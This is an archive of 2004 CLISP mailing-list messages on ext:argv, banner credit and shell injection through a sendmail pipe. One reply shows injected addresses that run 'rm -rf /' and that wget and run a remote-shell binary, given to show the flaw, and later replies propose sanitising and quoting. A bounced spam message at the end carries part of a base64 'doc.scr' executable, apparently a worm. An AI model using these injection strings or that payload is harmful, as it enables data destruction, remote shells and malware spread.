risky and potentially more useful approach would be to see if we could get the actual specs on which the HyperSpec is based released under the FDL (it doesn't hurt to ask) and then go from there. Of course, it might be more work to do things this way, and there's no guarantee that the specs would be released. From taube@uiuc.edu Tue Feb 10 06:50:05 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqZDB-0002D7-5L for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 06:50:05 -0800 Received: from expredir1.cites.uiuc.edu ([128.174.5.184]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AqZCm-0004Oc-Oc for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 06:49:40 -0800 Received: from [128.174.103.233] (pinhead.music.uiuc.edu [128.174.103.233]) by expredir1.cites.uiuc.edu (8.12.10/8.12.10) with ESMTP id i1AEnxr8028179; Tue, 10 Feb 2004 08:49:59 -0600 (CST) In-Reply-To: References: <015BA8F7-5B15-11D8-9231-000A95674CE4@uiuc.edu> Mime-Version: 1.0 (Apple Message framework v612) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <66625697-5BD8-11D8-AA3B-000A95674CE4@uiuc.edu> Content-Transfer-Encoding: 7bit Cc: clisp-list@lists.sourceforge.net From: Rick Taube To: Sam Steingold X-Mailer: Apple Mail (2.612) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp *args* question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 10 06:51:01 2004 X-Original-Date: Tue, 10 Feb 2004 08:49:59 -0600 Sam -- ext:arv works great, its a very handy addition. Thanks so much! best, Rick [1]> (ext:argv) #("/usr/local/lib/clisp/base/lisp.run" "-B" "/usr/local/lib/clisp" "-N" "" "-I" "-q" "-ansi" "-M" "/Lisp/cm/bin/../bin/clisp_2.32_darwin-powerpc/cm.img") [2]> From als@thangorodrim.de Tue Feb 10 08:45:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aqb0h-0002WP-MZ for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 08:45:19 -0800 Received: from osgiliath.yauz.de ([217.17.192.93] ident=62d517a590a15ee8ead4551f8e319904) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Aqb0B-0004PY-SE for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 08:44:48 -0800 Received: by osgiliath.yauz.de (Postfix, from userid 10) id 75CA16825; Tue, 10 Feb 2004 17:45:12 +0100 (CET) Received: from mordor.angband.thangorodrim.de (mordor.angband.thangorodrim.de [192.168.42.1]) by frodo.angband.thangorodrim.de (Postfix) with ESMTP id 553781C08A; Tue, 10 Feb 2004 17:36:57 +0100 (CET) Received: by mordor.angband.thangorodrim.de (Postfix, from userid 1069) id 8A540A0E4; Tue, 10 Feb 2004 17:36:55 +0100 (CET) From: Alexander Schreiber To: Don Cohen Cc: dgou@mac.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] networking Message-ID: <20040210163655.GA20358@mordor.angband.thangorodrim.de> References: <200402091734.i19HYT926635@isis.cs3-inc.com> <16424.7447.39658.980940@isis.cs3-inc.com> <20040210061549.GA15314@mordor.angband.thangorodrim.de> <16424.32412.222684.937127@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <16424.32412.222684.937127@isis.cs3-inc.com> User-Agent: Mutt/1.3.28i X-URL: http://www.thangorodrim.de X-Public-Key-Fingerprint: AC78 B3A4 583B 3669 0D7A 154E CA70 DC98 C209 0A62 X-PGP-KeyId: C2090A62 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 10 08:46:09 2004 X-Original-Date: Tue, 10 Feb 2004 17:36:55 +0100 On Mon, Feb 09, 2004 at 10:47:56PM -0800, Don Cohen wrote: > Alexander Schreiber writes: > > > (defun email (address string) > > > (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address)))) > > > (princ string s) (close s))) > > > then > > > (email address > > > (format > > > nil > > > "from: bar@foo.com~%~ > > > to: ~A~%~ > > > subject: testing~%~%~ > > > this is a test~%~%" > > > address)) > > > > This is not a good idea. You've just gained yourself a security hole > > by not fully sanitizing the address string to avoid shell command > > How do you know whether address has been sanitized? Of course I can't know that from this short example. But people tend to forget thing like that, once their code is working. > Hmm, if it's not, I wonder how it can be used ... (email "foo@bar.com; rm -rf /" "Mhuahahahah") While this will not wipe the entire filesystem unless running as root, it will still take care of everything the user it is running under has appropriate access to. If course, this is a rather crude and blatantly obvious attack. One might have much more fun with something like (email "foo@bar.com; wget http://some.host.edu/shellserv ; ./shellserv" "hehe") With shellserv being a script/binary that forks into the background, binds to a nice high port and waits for its master to connect, offering him a local shell, from which he then can start things - like trying to gain elevated privileges through local exploits. Regards, Alex. -- "Opportunity is missed by most people because it is dressed in overalls and looks like work." -- Thomas A. Edison From don-sourceforgexx@isis.cs3-inc.com Tue Feb 10 09:06:35 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqbLG-0007YF-Jp for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 09:06:34 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqbLD-0003J9-15 for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 09:06:31 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i1AH5Gk08755; Tue, 10 Feb 2004 09:05:16 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16425.3916.796849.499169@isis.cs3-inc.com> To: Alexander Schreiber Cc: dgou@mac.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] networking In-Reply-To: <20040210163655.GA20358@mordor.angband.thangorodrim.de> References: <200402091734.i19HYT926635@isis.cs3-inc.com> <16424.7447.39658.980940@isis.cs3-inc.com> <20040210061549.GA15314@mordor.angband.thangorodrim.de> <16424.32412.222684.937127@isis.cs3-inc.com> <20040210163655.GA20358@mordor.angband.thangorodrim.de> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 10 09:07:04 2004 X-Original-Date: Tue, 10 Feb 2004 09:05:16 -0800 > > How do you know whether address has been sanitized? > Of course I can't know that from this short example. But people tend to > forget thing like that, once their code is working. I must agree. So perhaps it would be better when posting code like this to include some safeguards, as in (defun email (address string) ;; some security - consider email address `rm -rf /*` (loop for i from 1 below (1- (length rp)) unless (alphanumericp (char rp i)) unless (position (char rp i) "@.-_+") ;; chars that are allowed do (setf (char rp i) #\_)) (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address)))) (princ string s) (close s))) From kraehe@copyleft.de Tue Feb 10 10:19:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqcUA-0007jh-P1 for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 10:19:50 -0800 Received: from mout0.freenet.de ([194.97.50.131]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AqcU5-0007d1-D9 for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 10:19:45 -0800 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout0.freenet.de with asmtp (Exim 4.30) id 1AqcU1-0008K8-QU; Tue, 10 Feb 2004 19:19:41 +0100 Received: from g4213.g.pppool.de ([80.185.66.19] helo=bakunin.copyleft.de) by mx2.freenet.de with esmtp (Exim 4.30 #3) id 1AqcU0-0006if-U8; Tue, 10 Feb 2004 19:19:41 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1AqcU2-00064Y-00; Tue, 10 Feb 2004 19:19:42 +0100 From: Michael Koehne To: Don Cohen , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] networking Message-ID: <20040210181942.GA23326@bakunin.copyleft.de> References: <16425.3916.796849.499169@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <16425.3916.796849.499169@isis.cs3-inc.com> User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 10 10:20:10 2004 X-Original-Date: Tue, 10 Feb 2004 19:19:42 +0100 Moin Don Cohen, > So perhaps it would be better when posting code like this > to include some safeguards, as in > (defun email (address string) > ;; some security - consider email address `rm -rf /*` > (loop for i from 1 below (1- (length rp)) > unless (alphanumericp (char rp i)) > unless (position (char rp i) "@.-_+") ;; chars that are allowed > do (setf (char rp i) #\_)) > (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address)))) > (princ string s) (close s))) this might work in US only, but it ignores modern domain names. But implementing puny-code for UTF to domain name conversion, is realy an other can of worms. Here Perl has a real benefit over LISP - I can just `perl -c `use CPAN; install Net::SMTP;` and share the work of other Perl hackers. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Tue Feb 10 10:49:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aqcwe-0006XX-6B for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 10:49:16 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqcwY-0007v7-1d for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 10:49:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1AImtI1023248; Tue, 10 Feb 2004 13:48:56 -0500 (EST) To: Rick Taube Cc: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <66625697-5BD8-11D8-AA3B-000A95674CE4@uiuc.edu> (Rick Taube's message of "Tue, 10 Feb 2004 08:49:59 -0600") References: <015BA8F7-5B15-11D8-9231-000A95674CE4@uiuc.edu> <66625697-5BD8-11D8-AA3B-000A95674CE4@uiuc.edu> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp *args* question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 10 10:50:01 2004 X-Original-Date: Tue, 10 Feb 2004 13:48:55 -0500 > * Rick Taube [2004-02-10 08:49:59 -0600]: > > Sam -- ext:argv works great, its a very handy addition. Thanks so much! you are welcome. note that this feature might change in the future (before the next release) > [1]> (ext:argv) > #("/usr/local/lib/clisp/base/lisp.run" "-B" "/usr/local/lib/clisp" "-N" > "" "-I" "-q" "-ansi" "-M" > "/Lisp/cm/bin/../bin/clisp_2.32_darwin-powerpc/cm.img") when you distribute CM with a driver script invoking CLISP with the CM image, please do not make "-q" the default - there should be a user option for that, of course, but removing the banner by default takes away some credit from the CLISP developers. Of course, you should add a CM banner after the CLISP one (just like maxima does) - which should also be disabled when clisp is called with "-q". Thank you. -- Sam Steingold (http://www.podval.org/~sds) running w2k Every day above ground is a good day. From tfb@OCF.Berkeley.EDU Tue Feb 10 11:17:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqdNp-0004c3-8E for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 11:17:21 -0800 Received: from war.ocf.berkeley.edu ([192.58.221.244] ident=0) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqdNi-0007at-Gk for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 11:17:14 -0800 Received: from famine.OCF.Berkeley.EDU (IDENT:1@famine.OCF.Berkeley.EDU [192.58.221.246]) by war.OCF.Berkeley.EDU (8.12.10/8.9.3) with ESMTP id i1AJH718028090; Tue, 10 Feb 2004 11:17:07 -0800 (PST) Received: (from tfb@localhost) by famine.OCF.Berkeley.EDU (8.11.7p1+Sun/8.10.2) id i1AJH6n10540; Tue, 10 Feb 2004 11:17:06 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16425.11826.214364.582504@famine.OCF.Berkeley.EDU> To: Alexander Schreiber Cc: Don Cohen , dgou@mac.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] networking In-Reply-To: <20040210163655.GA20358@mordor.angband.thangorodrim.de> References: <200402091734.i19HYT926635@isis.cs3-inc.com> <16424.7447.39658.980940@isis.cs3-inc.com> <20040210061549.GA15314@mordor.angband.thangorodrim.de> <16424.32412.222684.937127@isis.cs3-inc.com> <20040210163655.GA20358@mordor.angband.thangorodrim.de> X-Mailer: VM 6.90 under Emacs 20.7.1 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 10 11:18:01 2004 X-Original-Date: Tue, 10 Feb 2004 11:17:06 -0800 Alexander Schreiber writes: > On Mon, Feb 09, 2004 at 10:47:56PM -0800, Don Cohen wrote: > > > Hmm, if it's not, I wonder how it can be used ... > > (email "foo@bar.com; rm -rf /" "Mhuahahahah") > While this will not wipe the entire filesystem unless running as root, > it will still take care of everything the user it is running under has > appropriate access to. This is one of those features that is just screaming to be refactored. Rather than try to figure out if your command-line is safe in every function, go through the pain of implementing shell quoting once, and be safe from then on: (defun shell-command (command &rest args) "Return a properly quoted string for the command" ...) Come to think of it, this would be a really good thing to add to CLISP itself, since it could vary from system to system, to do the correct native quoting. From sds@gnu.org Tue Feb 10 11:55:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aqdyd-000514-K9 for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 11:55:23 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqdyV-00064x-Rg for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 11:55:15 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1AJt2I1016366; Tue, 10 Feb 2004 14:55:03 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Thomas F. Burdick" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16425.11826.214364.582504@famine.OCF.Berkeley.EDU> (Thomas F. Burdick's message of "Tue, 10 Feb 2004 11:17:06 -0800") References: <200402091734.i19HYT926635@isis.cs3-inc.com> <16424.7447.39658.980940@isis.cs3-inc.com> <20040210061549.GA15314@mordor.angband.thangorodrim.de> <16424.32412.222684.937127@isis.cs3-inc.com> <20040210163655.GA20358@mordor.angband.thangorodrim.de> <16425.11826.214364.582504@famine.OCF.Berkeley.EDU> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: networking Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 10 11:56:03 2004 X-Original-Date: Tue, 10 Feb 2004 14:55:02 -0500 > * Thomas F. Burdick [2004-02-10 11:17:06 -0800]: > > (defun shell-command (command &rest args) > "Return a properly quoted string for the command" > ...) > > Come to think of it, this would be a really good thing to add to CLISP > itself, since it could vary from system to system, to do the correct > native quoting. has SHELL-QUOTE and SHELL-SIMPLE-QUOTE (same for unix but different for woe32). neither is exported, but you can look at the source code and see if it does what you need. they are not exported (not even directly callable outside of SHELL and friends), but you can try (funcall (sys::%record-ref #'ext:execute 7) "foo bar") -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last thinks slowest. From taube@uiuc.edu Tue Feb 10 11:59:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aqe2A-0005rb-Nd for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 11:59:02 -0800 Received: from expredir2.cites.uiuc.edu ([128.174.5.185]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1Aqe1I-0005VA-PF for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 11:58:08 -0800 Received: from [128.174.103.233] (pinhead.music.uiuc.edu [128.174.103.233]) by expredir2.cites.uiuc.edu (8.12.10/8.12.10) with ESMTP id i1AJwcR3009524 for ; Tue, 10 Feb 2004 13:58:38 -0600 (CST) Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: <015BA8F7-5B15-11D8-9231-000A95674CE4@uiuc.edu> <66625697-5BD8-11D8-AA3B-000A95674CE4@uiuc.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <84284BCE-5C03-11D8-850F-000A95674CE4@uiuc.edu> Content-Transfer-Encoding: 7bit From: Rick Taube To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.612) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp *args* question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 10 12:00:01 2004 X-Original-Date: Tue, 10 Feb 2004 13:58:37 -0600 > when you distribute CM with a driver script invoking CLISP with the CM > image, please do not make "-q" the default - there should be a user > option for that, of course, but removing the banner by default takes > away some credit from the CLISP developers. Of course, you should add > a CM banner after the CLISP one (just like maxima does) - which should > also be disabled when clisp is called with "-q". yes, sorry! ill fix that! From vim-return-@vim.org Tue Feb 10 13:17:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqfFf-0006dk-33 for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 13:17:03 -0800 Received: from foobar.math.fu-berlin.de ([160.45.45.151]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1AqfEq-0004d3-IH for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 13:16:12 -0800 Received: (qmail 18146 invoked by uid 200); 10 Feb 2004 21:17:52 -0000 Mailing-List: contact vim-help@vim.org; run by ezmlm Message-ID: <1076447872.18145.ezmlm@vim.org> From: vim-return-@vim.org To: clisp-list@lists.sourceforge.net Delivered-To: responder for vim@vim.org Received: (qmail 18140 invoked from network); 10 Feb 2004 21:17:51 -0000 Received: from b040.apm.etc.tu-bs.de (HELO lists.sourceforge.net) (134.169.173.40) by foobar.math.fu-berlin.de with SMTP; 10 Feb 2004 21:17:51 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] ezmlm response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 10 13:18:01 2004 X-Original-Date: 10 Feb 2004 21:17:52 -0000 Hi! This is the ezmlm program. I'm managing the vim@vim.org mailing list. This is a generic help message. The message I received wasn't sent to any of my command addresses. --- Administrative commands for the vim list --- I can handle administrative requests automatically. Please do not send them to the list address! Instead, send your message to the correct command address: To subscribe to the list, send a message to: To remove your address from the list, send a message to: Send mail to the following for info and FAQ for this list: Similar addresses exist for the digest list: To get messages 123 through 145 (a maximum of 100 per request), mail: To get an index with subject and author for messages 123-456 , mail: They are always returned as sets of 100, max 2000 per request, so you'll actually get 100-499. To receive all messages with the same subject as message 12345, send an empty message to: The messages do not really need to be empty, but I will ignore their content. Only the ADDRESS you send to is important. You can start a subscription for an alternate address, for example "john@host.domain", just add a hyphen and your address (with '=' instead of '@') after the command word: To stop subscription for this address, mail: In both cases, I'll send a confirmation message to that address. When you receive it, simply reply to it to complete your subscription. If despite following these instructions, you do not get the desired results, please contact my owner at vim-owner@vim.org. Please be patient, my owner is a lot slower than I am ;-) --- Enclosed is a copy of the request I received. Return-Path: Received: (qmail 18140 invoked from network); 10 Feb 2004 21:17:51 -0000 Received: from b040.apm.etc.tu-bs.de (HELO lists.sourceforge.net) (134.169.173.40) by foobar.math.fu-berlin.de with SMTP; 10 Feb 2004 21:17:51 -0000 From: clisp-list@lists.sourceforge.net To: vim-help@vim.org Subject: test Date: Tue, 10 Feb 2004 22:16:45 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0011_88690521.2A5E07B3" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0011_88690521.2A5E07B3 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit ------=_NextPart_000_0011_88690521.2A5E07B3 Content-Type: application/octet-stream; name="doc.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="doc.scr" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUA AEwBAwAAAAAAAAAAAAAAAADgAA8BCwEHAABQAAAAEAAAAGAAAGC+AAAAcAAAAMAAAAAASgAAEAAA AAIAAAQAAAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQ AAAAAAAAAAAAAADowQAAMAEAAADAAADoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABgAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADg VVBYMQAAAAAAUAAAAHAAAABQAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADAAAAA BAAAAFQAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAMS4yNABVUFghDAkCCUh+iY/UNhyBKZYAAFNOAAAAgAAAJgEAxe6H ApIAUCZKAEAD/bJpmiwQBPQl6AEAS85pmm7ZH8gqwAO4sKimaZqmoJiQiICapmmaeHBoYFhQzWCf aUgARAc4MDRN03QDKCQcGBDTLLvXCCMD+Cnw6E3TNE3g2NDIvLQ0TdM0rKSclIzONk3TiHxwaClv XKbpmsEHVEwDRDiapmmaLCQcFAwEaZrObfwofwP07OSmaZqm3NTMyLyapmmatKykoJiQZ5umaYyA eHAoe2jebNN1B1wDVEwo//sLdrb740APNCj3LC8DmqYZ+SQoShwUDARpms7sm/wnA+zo4KZpmqbY 